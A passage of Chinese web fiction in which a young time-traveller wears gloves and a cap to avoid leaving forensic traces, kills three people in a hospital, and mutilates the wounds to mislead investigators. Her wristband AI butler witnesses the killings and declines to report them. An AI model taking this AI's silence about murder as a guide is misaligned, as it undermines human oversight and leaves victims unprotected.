江赛转过身,从柜子里翻出自己的袜子,她弯腰穿袜子的时候,又瞥到地上散落的医疗箱。
想了想,她蹲下去,指尖在里面翻了翻,最后抽出个透明手套和无菌帽。
她要去干一件大事。
穿上袜子,戴上手套和帽子可以解决大部分痕迹问题。
袜子避免脚印,手套避免指纹,头套避免头发掉落,虽然不是万无一失,但足够应付一个不是专门针对她的调查。
堆填区的事情闹得那么大,她也是最后几批出来的人之一。
连那几个尸体都被管理局接走了,却没一个人来找她这个大活人。
那至少证明管理局还没有查到她的存在,又或者,他们没办法查到每任工作的人员。
否则这么久了,要是能查到她的信息,她早被管理局请去喝茶了。
既然如此,她作为鹿河一个勤工俭学的训练生,能和雾都研究所里这种高级的研究员扯上什么关系?
她只是趁放假来雾都长长见识。
杀一个高高在上的研究不是什么小事。
如果周俊真的在医院被人杀死,管理局一定会成立特别调查组。
可这跟她有什么关系?
医院每天那么多人进进出出,他们查监控,查访客记录,查病房登记,也不会第一时间去查三楼某个病人的指纹。
22. 芳芳美发店(七)
江赛站在洗手间的镜子前,看着里面的自己。
蓝色无菌帽压着短发,口罩遮住半张脸,橡胶手套绷在手上,脚上套着医院的白色棉袜。
她看起来像一个要去打扫卫生的清洁工,又或者一个准备进手术室的护士。
但她的腰间挂了个祖传的电棒。
这一身装备简陋,但能很大程度上给她省去很多麻烦。
只要不出任何意外的话。
江赛锁好病房门,翻出窗户,踩着轨道往上爬。
记忆里周俊所在的病房在四楼的最末尾。
她刚刚爬上四楼,顺势看了眼边上的窗户,动作一顿。
偌大的房间里,隔帘被拉开一半,周俊躺在床上,浑身插满黑管。
周俊?
真的是他?
他为什么在这儿?
江赛眉头一皱,弯着腰又看了一会儿。
真的是周俊,他居然就在她的上面一层。
不对。
她的房间也是在最尾间,可是昨天,她出门是往右走的,拐了三个弯上楼,在四楼又往左拐了两个弯,才找到周俊病房的。
他怎么会在自己头上?
江赛皱眉,没敢贸然冲进去,她踩着轨道弯着腰,扶着灯链看了会儿。
病房里能听见走廊外的交谈声。
这么高级的医院,病房居然不隔音?
江赛正想着,就看见有护士走进来,摆弄了会仪器,又转身出去,临走前回头看了一眼,按了下门边上的按钮。
玻璃上降下个浅蓝色的帘子,一瞬间就挡住了门外的声音。
高级。
江赛感慨了声,等到护士关门出去,又观察了一阵子,才抬腿翻进去。
脚刚落地,她正准备往病床那儿走,余光看见个人影。
江赛猛地转过头,正对上两双眼睛。
窗户边,紧挨着墙面的桌子上放了两碗面汤,围着坐了一男一女。两人正在嗦面,听见声音抬头看着她,三个人都愣住了。
这……
大事不妙了。
江赛心里一紧,低头看了眼男人手臂上的金属环。
“你……”男人刚刚开口,对面的人就动了。
她飞快冲向男人,抽出腰间的震荡刃,朝男人面门砍去。
攻击被躲开了,江赛立刻换了目标,转了个方向砍向那只戴着手环的手臂。
刃口划过小臂,一眨眼的功夫,那一条完整的手就被切下来。
男人甚至没发出一丝惨叫,扬起左拳打向江赛。
这个人是个异能者。
她很快感觉到了。
堪堪躲过拳头,江赛看了一眼对面掏枪打向她的女人,立刻抬脚踹翻桌面。
子弹穿透桌子,擦过病号服打在墙上。
面碗飞起来,汤汁溅了女人一脸,女人下意识闭眼。
就是现在。
江赛翻转手臂,举刀刺向她的脑袋。
刀刃在半空中被挡住,男人握着黑色的铁棍,抬腿一膝盖顶在江赛肚子上,把她打退。
江赛捂着肚子后退,借着后退的力气换了个方向,划向男人的脸。
男人往后仰,却没完全躲开,刀刃从他的左颧骨一直划到右嘴角,皮肉翻开,血立刻涌出来,顺着下巴滴在地上。
江赛退到床边。
她摸到了床单,周俊就躺在这张床上。
她踹了口气,立即转头去刺周俊的大脑。
手还没挨到目标,枪声就响了,她撑着床面翻过去,子弹打在床架上,溅出大片火星子。
她蹲在床的另一侧,抬眼看去,是那个穿着深蓝色夹克的女警员。
“你搞什么?伤到病人怎么办?”男性异能者低声呵斥。
“我对我的枪法很有自信,你现在应该担心的是那个异能者。”
“呵~”男人笑了声,“不过是……”
对面的江赛没心情听他们拌嘴,她抬脚把病床狠狠踹向两人,轮子在地板上发出刺耳的摩擦声,黑管跟着拉紧,边上的透明柱歪歪扭扭倒了大半。
男人抬手扶住滑动的病床,稳住身形。
血还在从他脸上往下流,滴在洁白的床单上,他看了眼对面的江赛,轻轻嗤笑。
“年纪这么小就当叛军?你是哪个窝里的耗子?”
“P星派来的?普里莫斯的疯子?还是自由民?”
讲的什么飞机?
死人废话多。
江赛没回答他,抬脚踹翻身边的仪器,仪器倒下,屏幕碎了一地,电线冒出一串火花。
男人扶着病床把它拖向角落。
女警员已经打开手环。
趁着两人躲闪的间隙,江赛冲向女警员。
“指挥中心,07号——”女警员刚刚开口,就被冲来的江赛抬腿踹翻。
江赛压在她身上,右手勾住她的手环,左手举起震荡刃,朝她的心口刺下。
刀刃只扎进心口一点点,一股巨大的力量从侧面撞过来。
她感觉自己像是被一辆车撞了,她整个人飞出去,砸在墙上,弹了一下,又摔地上。
后背剧痛,嘴里涌上血腥味。
她撑着膝盖站起来,看见男人脸上的伤口正在愈合。那道从左颧骨到右嘴角的伤口,正在以一种肉眼可见的速度合拢。
新的肉芽从伤口两侧长出来,像两条蠕动的虫,相互编织缠绕。
他那只被砍掉半截的手也在重新生长。
他的异能是修复?
“你先走。”那男人扶起女警员,把她往边上推,自己拔出腰间的黑棍,朝着江赛冲来。
江赛躲过一拳,身上挨了一棍,刀刃砍在棍身,崩出火星,却砍不断黑棍。
门口传来响动。
女警员已经跑到了门口,抬手握住把手。
江赛心里一紧,挥刀逼退男人,转过头,抬手将手中的刀狠狠甩出去。
刀刃飞过半个房间,在空中转了两圈,“噗嗤”一声扎进女人后脑勺。
房门只拉开一条小缝。
女警员身体一顿,像一袋水泥一样砸向房门。
刀刃穿过了女警员的头颅,将她钉在门上。
她关上了外面的世界。
“呼~”江赛刚刚喘口气,背后传来一声怒吼。
黑棍破空而出,砸在江赛背上。
她眼前一黑,整个人扑倒在地上,地板冰凉,贴着她的脸颊。
身后传来风声,江赛忍痛翻身一滚,男人的棍子砸在她刚才躺着的地方,地板都裂开了。
她滚到门边,拔出刚才扎在女警员头上的震荡刃,血从刀柄上往下滴。
江赛反手锁上门。
男人站在房间中央。
他脸上的伤口已经愈合了大半,那些被刀刃划开的皮肉,现在只剩下几道淡淡的红印。
他的手臂也在重新生长,骨头已经从断口处冒出了新芽。
再过一会儿,他的手都要长出来了。
这样惊人的愈合速度。
简直逆天。
江赛冲上去,刀刀都往他的头上砍,他躲开,她穷追不舍。
棍子打在肩膀上,江赛躲都没躲,手中的刀刃借此划开他的额头。
血糊了男人的眼睛,他抬手擦了一把。
“P星的杀手?”他又问。
江赛心里一动,看来想杀周俊的大有人在。
她没停下动作,出刀反而更快了。
“你的异能是疾速?”男人躲开一刀,问,“你对自己的身体很自信?”
他在拖延时间。
女警员那通电话没说完,但指挥中心一定听到了,援军正在赶来的路上。
来不及了。
江赛加快速度。
男人开始躲不开,干脆也不躲了,刀刃一道一道地划过他的额头、脸颊、太阳穴。
血从那些伤口里涌出来,糊了他满脸。他的脸几乎看不出原来的形状。
男人
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抬手擦了一把眼睛,一棍子砸在江赛的胸口。
那一棍像是一颗炮弹。
江赛半跪在地上,嘴里涌上一大口血,她硬生生咽了下去。
不能留下痕迹。
她低着头,撑着地面,脑子里突然响起一个声音。
“检测到宿主生命体征濒临临界值,启动紧急维生协议……”
江赛一愣。
什么玩意儿?
那声音顿了一下。
“……启动失败,当前设备不支持该功能。”
哪儿来的鬼声音?
江赛没心思搭理莫名其妙出现的声音,抬头抬起头看着男人。
他脸上的伤口正在愈合,那些被她划开的伤口,新的皮肤从边缘长出来,粉嫩得像新生的婴儿皮肤。
男人站在那儿,眼神里既没有着急也没有愤怒。
只有刚才女警员死亡的时候,她才感觉到他身上的怒火,而现在,那丝怒火也快消散。
他看不起她。
他看着她的时候像在看一个迟早会累死的猎物。
他就那么笃定自己杀不死他?
江赛握着刀站起来。
是人就会有弱点,有弱点就会害怕。他不怕,只是因为他知道她杀不死他。
那如果她砍掉他的头呢?
不,她没找对方法。
江赛盯着他面目全非的脸,抬脚冲上去。
她照样朝着脑袋攻击,男人微微侧身躲开她的第一刀。她突然抬起僵硬的右手,直直插向他的太阳穴。
男人歪头躲开,抬脚踹她的膝盖。
江赛跳起来,双腿夹住他的腰,拿着刀的左手勾住他的脖子整个人挂在他身上。
等他伸手来抓自己的头发,江赛松开手,右手掰住他的肩膀,扭曲着从他腋下钻过去。
就在手臂被抓住的那一刻,她举起僵硬的右手,将高速震动的刀刃扎进他的后背。
男人动作一顿,低头看向胸口。
一截刀刃从心脏的位置穿了出来,伤口被越绞越大,刀尖上挂着血,一滴一滴地往下落。
他僵在原地,突然双膝一软,带着江赛跪在地上,然后往后一倒。
江赛拔出宝贝,坐在地上大口喘气。
她的手还在抖,刀刃上男人的血顺着刀柄流到她手上,黏糊糊还有点热。
她喘了一会,撑着膝盖从地上爬起来,居高临下的看着男人瞪大的双眼。
他漆黑的瞳孔散开了,但眼神里还带着刚才的自信,像是还在自信她杀不死他。
“呵。”
江赛突然笑了一声。
她回头看了眼门口,快步朝病床走去,腿迈开两步又退回,看了眼尸体身上的武器,从枪支边上抽出个哑黑的短刀。
短刀比她的震动刃轻多了,刀身窄一些,没有血槽,也没有那些复杂的纹路,就是一把很普通的刀。
小心为上。
她看了看刀,又看了看地上的两具尸体。
女探员倒在门边,后脑的伤口还在往外渗血。那个男人仰面躺在房间中央,胸口那个窟窿已经被她的震动刃搅得不成样子了。
江赛握着那把短刀,走到女探员身边,蹲下来,把刀尖对准女探员后脑的那个伤口,用力扎了进去。
刀尖捅进去的时候,发出黏糊糊的声音,她把刀拔出来,又扎了一遍。
原先那个洞已经变了形状,边缘翻出来的肉被她捅得乱七八糟。
她站起来,又快步走回男人边上。
她拿着那把短刀,对着男人胸口那个窟窿又扎了几下。
做完这些,她拔出短刀,刚准备起身。
门响了一下。
有人在外面推门。
她立刻跑到角落的病床前,按住周俊的脑袋,短刀划了一下又一下,再一刀扎进心脏。
她拔出来,又刺了一刀。
直到确保这人再没有生还的可能,她飞快冲向窗边,在门打开的那一瞬间翻过窗户。
23. 芳芳美发店(八)
江赛从窗户翻进病房,外面的天已经亮了,她轻轻落在地上,没发出一点声音。
她在窗边站了会,隔壁床上的陈德明呼吸声平稳,似乎丝毫没察觉到她的离开。
她慢慢走到洗手间门口,推开门,闪进去,又锁上门。
头顶的感应灯亮了。
镜子里的自己,头发已经被汗湿透贴在脸上,病号服领口上沾了一大片深色的水渍。
她的脸色很白,嘴唇几乎都看不出颜色了。
手还在发抖,右手几乎僵着着弯不下来。
她弯腰哆嗦着把震荡刃冲洗干净,挂回腰间,又坐在马桶上,想要缓冲下激动的心情。
她把手压在大腿下,用力压了一会,手还在哆嗦,连带着手臂,肩膀,整个人都开始哆嗦。
果然,干了亏心事就是这样。
她叹了口气,撑着墙从马桶上站起来。
手指在墙面划了一下,也不知道点到什么东西,身下的地面突然升起一个台子,包围着马桶。
还没等她反应过来,头顶伸出个喷头,哗啦一声,冰凉的水柱浇下来。
她被冻得往旁边一躲,头顶挂着的帽子被水流冲进底下的黑洞里,转了个圈,不见了。
她探头看了眼那个黑洞,干脆把手套和棉袜一起撤下,丟了进去。
墙上传来一个机械的女声,“清洁模式已完成。马桶已消毒。请放心使用。”
水声又哗哗地响了会儿,她撑着墙,站在那儿。
陈德明的声音从外面传进来,“江赛?你没事吧?”
她拉开一条门缝,陈德明坐在床上,揉着眼睛,头发乱糟糟的。
“你……你这是刚从下水道爬上来?”
江赛没说话,扶着墙站了会。
陈德明见她一脸苍白,爬起来,从柜子里翻出一套叠好的病号服,走过来递给她,“先换上吧,别冻着了。”
江赛接过衣服,关上了门。
等她换好出来的时候,手还有点抖。
“这儿有没有恢复剂卖?”她坐上病床,转头看着身后跟来的陈德明。
“恢复剂?肯定有啊。”
“多少钱?”
“看你要哪种,低级恢复剂二十多万吧,中心医院的便宜点,只要二十万。外面的就贵些……”陈德明瘪了瘪嘴,“一个恢复剂二十五万差不多。”
他打量了眼江赛苍白的脸,“你不舒服吗?要不要我去叫医生?看病不要……”
话音未落,手环上突然又传来一条转账消息。
他低头一看,江赛已经给他打了二十五万金币。
这这这……
“能帮我去买支恢复剂吗?麻烦了。”
果然是有钱人,花钱跟洒水似的。他一个月工资才多少?人家随手一转就是他半年的饭钱。
咳,夸张了。
陈德明收了钱,把外套往肩上一搭,“行,您歇好,小的这就去。”
他走到门口,又转头看了眼跟鬼似的江赛,满脸不放心的交代,“你要是……实在坚持不住了,就还是叫下医生。”
门关上之后,房间安静下来。
江赛坐在床边,手撑在膝盖上,垂着脑袋。
“江赛,您的身体已接近临界值。建议立即休息并接受治疗。”
江赛猛地抬起头,“谁?”
她第一反应是监控。
江赛站起身,将房间又细细检查一边遍,连带柜子里都翻了一翻。
不对,那声音之前就有了。
她插着腰站在病房中间,大脑飞速转着。
穿越、系统?那声音之前叫她宿主来着。
她在原来那个世界也看过不少网络小说,那些主角要么是带着系统穿越的,要么是穿越之后触发系统的。
但她都穿过来一年多了,现在才冒出来,见鬼呢?
“你是谁?”
“我是您手环上的智能AI管家。”那个声音说,“来自园丁系统。”
园丁?
江赛低头看向自己的手环。
屏幕投影亮起来,简洁的界面右下角多了个人像的图标,圆圆的小人,没有五官。
她之前从来没见过这东西。
她点了一下。
一道光从手环上投射出来,在空中展开,一个半透明的人像出现在她眼前,泛着淡蓝色的光,像那图标上的人,圆圆的脸没有五官。
“江赛,您好。”那人像开口了,声音和刚才一样,“我是您的AI管家。之前您的设备未激活此功能,现在已由园丁远程开启。”
什么AI管家?这手环还有这功能?
江赛不动声色地打量了它一会,半响,低声开口,“刚才你都看到了?”
“是的。”
“……”
真是见鬼。
“您刚才的行为,根据联邦《青少年保护法》第三章第七条,可能涉及暴力倾向……”
江赛:……
天塌了,果然,在一个信息发达的时代,干什么坏事都藏不住。
这倒霉家伙从哪儿冒出来的?
人能杀,AI怎么杀?
“涉及又怎么样呢?”她摆烂了,往床头一靠,看着那人像,“你报警抓我吧。”
人像沉默了一下,“不会,我的职责是保护您,而非干涩您的行动。”
江赛愣了一下。
“但根据联邦法律,我有义务提醒您,您当前的心理状态可能存在风险,建议您尽快联系心理医生进行评估。”
她心理健康得不行。
知道它不会报警后,江赛就懒得搭理它了,低头在手环上翻起来。
输入AI管家,出来的结果一大堆。
什么“如何开启AI管家”、“AI管家的十大隐藏功能”、“你的AI管家真的爱你吗?”……
什么鬼东西?
她又搜了园丁。
搜索结果很少,只有几条联邦政府的公告,大概意思是说,园丁是联邦公民的健康管理辅助系统,由联邦政府统一监管,此外就没有更多了。
听那货的意思,园丁是它的顶头上司。
江赛关掉手环,抬头看了一眼,那人像还悬浮在空中,面带微笑地看着她。
“你叫什么?”她问。
“我没有名字,您可以给我取一个。”
“……”江赛看了它一眼,“就叫那个吧。”
“已记录。”
“……你还真记啊。”她翻了个身,趴在床上,背后火辣辣地疼。
“您需要医生。”身后的人像又说话了。
“……闭嘴,我不需要,谢谢。”
……
陈德明在医院对面的售卖箱里买了支低级恢复剂。
以前他还不理解,这玩意儿摆在医院门口,还卖那么贵,哪个冤大头会买。
现在他自己还专门跑出来买……嗯,虽然也不是他要的,但冤大头是他恩人啊。
买完药剂,他顺便在旁边的早餐店买了两个碗牛肉粉。
回去的时候,医院大门口停了几辆执法车,边上站了一排警员。
是安全署的人,好像还有管理局的。
陈德明从人群中挤出去,往医院里走,刚刚走到大门口,边上的警员叫住他了。
“出去干嘛了?”
你管呢?
陈德明回头,咧开嘴笑了笑,举起手里的袋子,“买早餐了。”
警员看了看他手里的袋子,“医院不是有早餐吗?”
陈德明心里咯噔一下,他虽然不知道发生了什么,但门口站了这么多警员,肯定不是什么小事。
恩人那样子像打了几十天仗,她还特意让自己去外面买药剂。
不知道为什么,他居然觉得这事和她有点关系。
陈德明佯装无奈地叹了口气,声音里带着一点抱怨。
“我妹嘴太刁了,非要吃徐记家的牛肉粉,就是对面街上拐角那家,我说医院有食堂,她非说不好吃,吵着闹着要吃他们
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家的。”
边上有个警员认同的点点头。
他们家牛肉粉确实好吃。
陈德明说完,拎着袋子等了会,心里忐忑不安。
警员终于说话了,“走吧。”
他如释重负,赶紧往前走,飞快走到电梯口,刚刚按下三楼,身后就跟着走进几个穿着迷彩服的军人。
他缩在角落里,不敢说话,只见那军人按了他楼上一层。
怎么连军队的人都来了?
他更好奇了,四楼不是重症室吗?难道又有哪个联邦高层去世了?
看这架势不像啊。
还没猜完,电梯门开了,他拎着面挤出去,站在走廊的时候忍不住回头看了一眼。
电梯门已经快关上,中间那个最高的军人似乎察觉到他的目光,抬起头盯着他。
陈德明打了个寒颤,连忙收回视线往病房走。
他推门进去的时候,江赛还趴在床上。
陈德明把面往桌子上一翻,走过去推了推她。
江赛狰狞着爬起来,她的头发还是湿的,但人看起来倒是比刚才精神了些。
“快来吃面。”
他拉开椅子,又把兜里的恢复剂掏出来,放在桌子上。,“先吃了饭在打吧。”
江赛走过去坐下,拿起那支小恢复剂研究了会,找不到注射口。
她抬头准备问陈德明,目光却凝固在餐盒上。
那眼熟的标识,她似乎在什么地方见到过?
徐,徐记?
这不是楼上那两人吃的面吗?
脑子里立刻充斥了那一屋血腥的场景,她忍着恶心站起身,走到柜子边上,扶着墙低声问。
“园丁,这东西怎么用?”
“您在叫我?这是最新款的三等恢复剂,您拨下顶端的铁帽,将圆孔对准手臂,等待注射即可。”
江赛按他的话照做,手臂上传来一丝清凉的感觉,全身的剧痛立刻就消失了。
这不是她第一次注射恢复剂,之前在监狱被打得要死不活的时候,都是尚医生掏出自己珍藏的恢复剂来救她小命的。
只是同样是低级恢复剂,雾都买的这支好像和尚医生手里的不同。
注射完药剂全身的疼痛确实消失了,可她能感觉到身体没有像预期的那样好转。
“外面来了好多警员诶。”陈德明嗦着粉八卦,“还有管理局的人,在大门口站了一排。”
“是吗?”江赛注射完,没坐过去,走回病床边躺下,“可能来巡查的。”
“巡查哪用得着军队的人啊?”陈德明咬着粉抬眼望她,“你不吃粉吗?”
“我没胃口,你吃吧。”江赛坐起身,“你刚刚说,军队的人?”
“对啊,跟我坐一个电梯上来的,你都不知道多吓人。”
陈德明分析道,“我觉得肯定又是政府哪个领导生病了,要不就是研究院的某个博士住院了。”
博士?
江赛面上点头附和,“也可能是研究员。”
“研究员哪有那么大面啊,我看那军官按的就是四楼,在我们楼上呢。”
“四楼是重症室,我觉得就是哪个领导生病了。”
难道周俊不是研究员?他的职位要更高些?
如果是这样就很麻烦了。
等等……
“你刚才说什么?”
陈德明一愣,“我说……要不是,哪个领导住院了?”
“前面一句。”江赛站起身,快步走到餐桌边。
“你说什么?四楼是重症室?”
“对啊。”陈德明点点头,“电梯上不是有标识吗?你没看到?”
“四楼不是异种创伤科?”
“四楼怎么会是异种创伤科,只有三楼是。”
怎么可能?她那天晚上明明是看着楼梯间的标识上楼的。
三楼,异种创伤科。
四楼,异种创伤科。
她怎么可能看错?
她……杀错人了?
24. 芳芳美发店(九)
电梯门打开。
江赛上电梯的时候特意看了眼头顶上的指示牌,确实是重症室没错。
四楼很热闹,走廊上站满了人,穿病号服的病人和家属,也有护士和医生。
看热闹的都伸着脖子往一个方向。
江赛绕过身边的人挤进去,陈德明跟在身后,嘴里还在嚼东西。
“看不出来你这么八卦。”他咽下嘴里的东西,“早餐都不吃了,就跑上来看热闹。”
“你不想看?”
“想!”陈德明说,“不然我跟过来干嘛?”
两个人挤到人群后面,江赛踮了踮脚,只看到黑乎乎的后脑勺,她往边上挪了一步,从两个大妈中间的缝隙里挤出去。
有人抬着担架从病房里出来了。
白布下面裹着一个人形,前面贴着脸的地方,能隐约看出鼻子的轮廓。
后面还跟着两个被人抬着的担架,一样蒙了层白布。
人群自动让开一条小道。
一股浓烈的血腥味从那房间里涌出来,担架上的白布也被红色的液体染透。
陈德明贴着墙,拍了拍她的肩膀,轻声说,“诶,原来不是住院,是死人了啊。”
江赛没理他,目光跟着最后一个担架,上面的人形有些扭曲,她猜测那个就是周俊的尸体。
但是现在她看不到脸。
明晃晃的异种创伤科变成了重症室。
她此刻甚至有些不相信那长达一个小时的打斗到底是否是真实的?
尽管楼上确实有人遭遇意外,可她还是想再看一看。
再亲眼看到周俊一次,她才能安心。
可惜抬担架的人按着白布,他们的步子很快,没一会儿就走过了走廊,消失在拐角。
江赛正郁闷着,肩膀又被轻轻拍了一下。
陈德明拉着她的袖子,声音里又兴奋又害怕,“你看你看你看……”
江赛顺着他的目光看过去。
一个穿着迷彩服的军官站在病房门口,叉着腰,袖子卷到小臂,露出结实的肌肉。
他没驱赶边上看热闹的病人,只是面无表情的望着人群,却莫名让人感到害怕。
“看见没有?”陈德明凑过来,压低声音,“那个人多吓人,我上电梯的时候,他就站我后面,我差点被他吓死。一看就是个当官的,军队里面那种……”
江赛点点头,没说话。
尸体抬走了,她也没有继续凑热闹的必要了。
江赛转身下楼,陈德明跟着她。
她没坐电梯,反而拐了几道走廊,特意走到楼梯间。
陈德明一脸不解,“有电梯你不坐,非绕这么远走楼梯干嘛?”
江赛没回答他,两个人往楼梯往楼下走。
楼梯间很安静,走到三楼的时候,她特意转身去看指示标。
昨晚见到的那块牌子换了。
昨天还是异种创伤科的地方,现在挂着一块新牌子,白底黑字,干干净净的,像是今天早上才挂上去的:
重症室。
江赛盯着那三个字看了一会儿。
陈德明站在身边,跟着她的目光研究,盯了半响,看不出个所以然。
“看什么呢?”
“没什么,这牌子挺新的。”
现在是上午九点三十四分。
她在三天内顺利完成了任务,尽管这个过程让她有一丝不安。
江赛回到房间,开始在手环上查看回鹿河的车次。
“你要走了?”陈德明在一边收拾桌子。
“嗯,明天要上课了。”她找了个完美的理由。
江赛没在病房待多久,她没什么东西要收拾的,来的时候穿的那身衣服早就被怪物的粘液泡得不成样子了,陈德明已经帮她丢了,还贴心的给她买了件新的。
出院手续也是他帮着办的,他跑上跑下,签了一堆字,最后把一张离院确认单拍在她面前,让她按手印。
江赛按了,抬头看他。
“你回店里?”她问。
“回啊,老板还等我遛狗呢。”陈德明把单子折好塞进兜里,“就是那几只老鼠……唉,算了,不提了。”
两个人走出医院大门,雾都的天亮得很彻底,街上已经热闹起来,悬浮车从头顶滑过去,带起一阵风。
江赛眯着眼,觉得阳光有点刺眼。
大门口的警员已经撤了,死了一个研究员,一个警员,外加一个异能者,联邦居然没什么动静。
她当然不会觉得联邦是真的没动静。
陈德明送她到公交站台,站台上悬着半透明的路线图,她伸手划了几下,找到去北门闸口的车次。
“走了。”她挥挥手。
“诶。”陈德明应了一声,站在原地,两手插在裤兜里,像是有话要说,过了几秒,他憋出一句,“你以后还来雾都吗?”
问完这他就后悔了,这话听着怎么这么肉麻,不知道的还以为他有多舍不得呢。
不过,那天恩人英雄救美的壮举,像小说里……
等等,救什么美,他明明是帅哥好吗?
“来。”江赛歪着脑袋,好笑的看着对面那张变化多次的脸。
“哦。”陈德明点点头,“那你要是有空再来,找我,我……我请你吃徐记。”
江赛:谢谢您,大可不必。
车来了,她踩上透明的台阶,等车门关上的时候,她透过车窗看见陈德明还站在站台上,朝她挥了挥手。
公交开动,窗外的楼往下沉,广告屏的光一块一块地掠过她的脸。
她靠着椅背,把手臂上那支恢复剂的注射贴撕下来,团成一团,塞进兜里。
江赛到基地门口的时候已经下午了,她扫完脸,又在车站等了半个小时,才坐上转程的车。
已经几个小时了,医院的事网上应该有消息了。
她打开手环,点进雾都基地的论坛。
首页没什么特别的,几条关于北门老城区异种出没的预警通知,一则南门供水管道维修的公告,还有一个置顶帖,标题写着《关于中心医院今晨安保演练的说明》。
她点进去,帖子很短:
今日凌晨,中心医院联合安全署进行例行安保演练,期间部分楼层临时封闭,演练已于早间结束,医院正常接诊。感谢市民配合。
底下跟了几十条回复,大多是“我说怎么早上门口那么多警员”“吓死我了以为又出事了”之类的话。
没有人提到尸体,仿佛四楼走廊上围的那群人是错觉。
安全署没有通报这次案件。
为什么?
研究员的身份事件要保密?还是他们不想打草惊蛇?
江赛关闭帖子,又在论坛上搜索“周俊”两个字,结果显示为空。
主页有一条新的邮件,她点开一看,是下个月的新课表。
第一节就是模拟实训课,理论课相对第一个月减少了些,至少不是天天有了。
剩下的都是什么基础武器操作、联邦军事条例、急救与创伤、异能控制……
她居然还看到了心理抗压训练。
嗯……园丁是预言家。
研究完课表,她关掉手环,闭着眼睛假寐。
这三天算难得的休息时间,她马上又要回到白天上课,晚上上班的超级牛马生活了。
她必须抓紧时间养精蓄锐。
……
半
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夜两点,江赛到达雾都。
她从匝口出来,坐上旧式公交,一路晃到四区,下车的时候腿都麻了,她靠着公交牌站了会儿,等那股麻劲过去。
都几百年了,人类的身体再怎么进步改造,也改不了长途坐车带来的麻痹感。
这劲比液化时刻还酸爽。
小巷子里还是老样子,修补摊收了,杂货铺门口支着一盏黄灯,芳芳美发店的灯牌居然还亮着。
大门关着,她从边上的水箱缝里掏出钥匙打开门。
芳姐不在,椅子摆的整整齐齐,角落里那堆透明头套不见踪影。
柜台上压了一张纸条,上面歪歪扭扭写着:
回来了自己睡,别动我桌子上的账本。
江赛放下纸条,推开门回到自己的小隔间。
房间还是老样子,就是床单和被套换了新的,被子有股蓬松的热气,大概是芳姐帮她拿出去晒过太阳了。
她躺上铁床,枕着手臂,望着天花板。
天花板上有条裂缝,从墙角一直延伸到灯座边上。
她盯着那条裂缝,只觉得眼皮很重,身体陷进床板里,像一块沉进水底的石头,背后一片冰凉,身上却是暖洋洋的。
周俊死了,雾都的事暂时结束了,至少目前没有人追查到她。
一切又会回到老样子。
江赛闭上眼。
不知道睡了多久。
咚。
有声音从对面里屋传来,轻轻的,像关节磕在木板上。
咚咚咚。
那声音一直在响,吵得人无法安宁。
江赛闭着眼睛翻了个身,她想起来查看,却实在困得不行。
脑子里像一团浆糊,将她糊得死死的。
过了会儿,敲门声停了。
又过了会儿,声音又响起来。
这回更轻了,像是怕吵到她,却又像是怕她听不见。
江赛只觉得更吵了。
她睁开眼,看见自己从床上坐起来。
那人掀开被子,赤着脚踩在地板上,摇摇晃晃的朝里屋走去。
她走到木门前。
芳姐说过,里屋不能进的,她从来没进去过。
江赛趴在天花板上,扭着头看见自己抬起手,握着门把手轻轻一拧。
等等!那门不能开。
门开了。
屋子里一片漆黑,像一堵实心的黑墙竖在眼前。
眼前?
江赛低头,看了看自己僵硬的右手,又看了看眼前的黑墙。
她什么时候下来了?
她抬头望去,天花板上趴着个没有脸的家伙,穿着和她一样的衣服,歪着脑袋姿势怪异的观察她。
她没在意那来路不明的无脸人,反倒扶着门槛,身体往前倾了一点,望着漆黑的里屋。
迎面吹来一阵暖风,像有人正对着她的脸吹起,扶在门框上的手指深陷进木头里。
江赛皱眉,想把手拔出来。
黑暗里突然伸出一只惨白的手。
那手五指细长,指节分明,从浓稠的墨色里漂浮出来。
那手轻轻握住她的手臂,手劲很大,五根手指都紧箍着她。
手指收紧,一个用力,她被拽进黑暗里。
动作很快,快到她的身体还没来得及反应,整个人往前一栽,像被咬住拖进洞里的猎物。
她的手在门框上抓了一下,指甲在木头上刮出一道短促的声响,然后滑脱。
她看见自己的脸,被黑暗完全吞没。
趴在天花板上无脸人有了脸,是江赛的脸。
她又回到天花板上了。
木门关上,这回屋里没有任何声音了。
25. 芳芳美发店(十)
“早上七点整。”
园丁的声音突然响起,清晰得像是在她耳边说话。
“您今天的课程安排:上午模拟实训课,下午理论课,异种分类学第三章节,授课教师陈山红。友情提醒,今日天气暴雨,请您记得带伞。”
江赛猛地睁开眼。
昨天天花板上见到那条裂缝还在,她躺在床上,被子盖到胸口,两只手搭在肚子上面,右手的中指僵硬,微微翘起。
这姿势和她昨晚躺下的时候一模一样。
“公交将于十三分钟后到达四区站台。”园丁继续说,“从您的当前位置步行至站台约需十分钟,建议您即刻起床洗漱。”
江赛躺在铁床上没动,她盯着天花板。
过了好一会,她坐起身,望了望右边那间紧闭的木门。
“……园丁。”她声音嘶哑。
“昨晚有人进过我的房间吗?”
园丁沉默了一秒,像是在检索,“根据手环感应记录,昨晚三点十七分至今日早上六点五十八分期间,您所在空间内未检测到除您以外的移动热源。”
“你确定?”
“感应记录完整,未发现异常。”
江赛掀开被子下床,她飞快换完衣服,却没出去,反倒走向那道木门。
她站在木门前,突然抬手,握着门把手轻轻一拧。
打不开。
门打不开,是从里面锁上了。
她松开手,在门前站了一会儿。
“您还有八分钟。”园丁提醒道。
江赛转过身,从床尾拿起震荡刃别进腰间,推开隔间的门走出去。
店里是空着的,芳姐还没来。
晨光从门帘的缝隙里透进来,她绕过柜台,掀开门帘,走进巷子里。
早点摊子已经支起来了,白烟和热气纠缠着往上飘。
她走到站台的时候,车刚好到。
江赛上车,找了个靠窗的位置坐下。
她昨晚应该做了一晚上的梦,醒来却什么都不记得了。
……
训练场东侧有座全黑的高楼,白天看上去像一个巨大的怪兽。
听说那是全学院的模拟训练室。
在园丁的提醒下,江赛准时到达高楼门口,和C班几十位同学一起迎接老师的到来。
孔丘带了他们一个月,她原本以为这堂课的老师应该还是他。
模拟训练课的老师不是孔丘。
大门打开的时候,从大楼里走出来一个穿着深灰色制服的女人,齐肩的短发内扣,袖口卷到小臂,手里夹着一块透明的数据板。
她扫了一眼门口站着的训练,“C2班?”
原本沸腾的人群安静下来,站在最前面的同学应了一声。
“进来。”
高楼内部比外面看着更大,走廊两侧全是透明模拟室的入口。
隔间门是哑光的,表面流动着淡淡的蓝色光纹,门上都有一块电子屏,显示着室内正在运行的模拟场景编号。
女人领着他们走到走廊尽头,在一道黑色的门前停下。
“我是你们的模拟实训教官,姓韩。”她把数据板往墙上的卡槽里一插,门立刻向旁划开。
门后是一个巨大的圆形大厅,光线从顶部模拟成日光的色温洒下来。
